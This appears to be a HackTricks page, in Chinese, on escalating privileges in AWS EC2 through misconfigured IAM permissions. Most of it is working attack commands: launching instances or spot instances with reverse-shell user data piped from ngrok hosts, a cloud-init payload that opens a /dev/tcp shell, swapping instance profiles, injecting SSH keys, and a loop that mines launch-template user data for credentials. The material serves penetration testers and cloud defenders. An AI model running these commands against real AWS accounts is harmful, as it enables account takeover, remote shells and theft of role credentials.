AWS - EC2 Privesc

支持 HackTricks

EC2

有关 EC2 的更多信息,请查看:

iam:PassRole, ec2:RunInstances

攻击者可以 创建一个附加 IAM 角色的实例,然后访问该实例 从元数据端点窃取 IAM 角色凭证。

  • 通过 SSH 访问

使用 创建的 ssh 密钥 (--key-name) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有 ec2:CreateKeyPair 权限)。

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • 通过用户数据访问 rev shell

您可以使用 用户数据 (--user-data) 启动一个新实例,该实例将向您发送一个 rev shell。您不需要以这种方式指定安全组。

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

小心使用实例外的 IAM 角色凭证时的 GuradDuty:

潜在影响: 直接提升权限到任何附加到现有实例配置文件的 EC2 角色。

提升权限到 ECS

通过这一组权限,您还可以 创建一个 EC2 实例并将其注册到 ECS 集群中。这样,ECS 服务 将在您有访问权限的 EC2 实例运行,然后您可以渗透这些服务(docker 容器)并 窃取其附加的 ECS 角色

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

要了解如何强制在这个新的 EC2 实例中运行 ECS 服务,请查看:

如果您无法创建新实例但拥有权限ecs:RegisterContainerInstance,您可能能够在集群中注册该实例并执行评论攻击。

潜在影响: 直接提升到附加到任务的 ECS 角色。

iam:PassRole iam:AddRoleToInstanceProfile

与之前的场景类似,拥有这些权限的攻击者可以更改被攻陷实例的 IAM 角色,以便窃取新的凭证。 由于实例配置文件只能有 1 个角色,如果实例配置文件已经有一个角色(常见情况),您还需要**iam:RemoveRoleFromInstanceProfile**。

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

如果实例配置文件有角色且攻击者无法移除它,还有另一种变通方法。他可以找到一个没有角色的实例配置文件创建一个新的iam:CreateInstanceProfile),将角色添加到该实例配置文件(如前所述),并将实例配置文件关联到一个被攻陷的实例:

  • 如果实例没有任何实例配置文件(ec2:AssociateIamInstanceProfile)*

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

潜在影响: 直接提升权限到不同的 EC2 角色(你需要已经攻陷一个 AWS EC2 实例,并且拥有一些额外的权限或特定的实例配置文件状态)。

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

拥有这些权限后,可以更改与实例关联的实例配置文件,因此如果攻击者已经访问了一个实例,他将能够通过更改与之关联的配置文件来窃取更多实例配置文件角色的凭据。

  • 如果它 有一个实例配置文件,你可以 移除 实例配置文件 (ec2:DisassociateIamInstanceProfile) 并 关联 它 *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • 替换 被攻陷实例的 实例配置文件 (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```

潜在影响: 直接提升权限到不同的 EC2 角色(您需要已经攻陷一个 AWS EC2 实例,并且拥有一些额外的权限或特定的实例配置状态)。

ec2:RequestSpotInstances,iam:PassRole

拥有权限 ec2:RequestSpotInstancesiam:PassRole 的攻击者可以 请求 一个带有 EC2 角色反向 shellSpot 实例用户数据 中。 一旦实例运行,他可以 窃取 IAM 角色

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

拥有 ec2:ModifyInstanceAttribute 的攻击者可以修改实例属性。其中,他可以 更改用户数据,这意味着他可以使实例 运行任意数据。这可以用来获取 对 EC2 实例的反向 shell

请注意,属性只能在 实例停止时 进行 修改,因此需要 权限 ec2:StopInstancesec2:StartInstances

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

潜在影响: 直接提升权限到任何附加到创建实例的 EC2 IAM 角色。

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

具有权限 ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateec2:ModifyLaunchTemplate 的攻击者可以创建一个 新的启动模板版本,在 用户数据 中包含 反向 shell任何 EC2 IAM 角色,更改默认版本,任何 使用启动模板自动扩展组 如果配置为使用 最新默认版本,将会 重新运行实例,并执行反向 shell。

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

潜在影响: 直接提升权限到不同的 EC2 角色。

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

拥有权限 autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole 的攻击者可以 创建一个启动配置,其中包含一个 IAM 角色 和一个 反向 shell用户数据 中,然后 从该配置创建一个自动扩展组,并等待反向 shell 窃取 IAM 角色

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

潜在影响: 直接提升权限到不同的 EC2 角色。

!autoscaling

权限集 ec2:CreateLaunchTemplateautoscaling:CreateAutoScalingGroup 不足以提升 权限到 IAM 角色,因为要附加在启动配置或启动模板中指定的角色 你需要权限 iam:PassRoleec2:RunInstances (这是一种已知的权限提升)。

ec2-instance-connect:SendSSHPublicKey

拥有权限 ec2-instance-connect:SendSSHPublicKey 的攻击者可以将 ssh 密钥添加到用户并使用它访问(如果他有对实例的 ssh 访问权限)或提升权限。

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

潜在影响: 直接提升到附加到运行实例的 EC2 IAM 角色。

ec2-instance-connect:SendSerialConsoleSSHPublicKey

具有权限 ec2-instance-connect:SendSerialConsoleSSHPublicKey 的攻击者可以 向串行连接添加 ssh 密钥。如果串行未启用,攻击者需要权限 ec2:EnableSerialConsoleAccess 来启用它

为了连接到串行端口,您还 需要知道机器内部用户的用户名和密码

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

这种方式对权限提升并不是很有用,因为你需要知道用户名和密码才能利用它。

潜在影响:(高度不可证明)直接权限提升到附加到运行实例的 EC2 IAM 角色。

describe-launch-templates,describe-launch-template-versions

由于启动模板具有版本控制,拥有 ec2:describe-launch-templatesec2:describe-launch-template-versions 权限的攻击者可以利用这些来发现敏感信息,例如用户数据中存在的凭据。为此,以下脚本循环遍历所有可用启动模板的版本:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

在上述命令中,尽管我们指定了某些模式(aws_|password|token|api),您可以使用不同的正则表达式来搜索其他类型的敏感信息。

假设我们找到了 aws_access_key_idaws_secret_access_key,我们可以使用这些凭据来认证到 AWS。

潜在影响: 直接提升到 IAM 用户的权限。

参考文献

支持 HackTricks

Last updated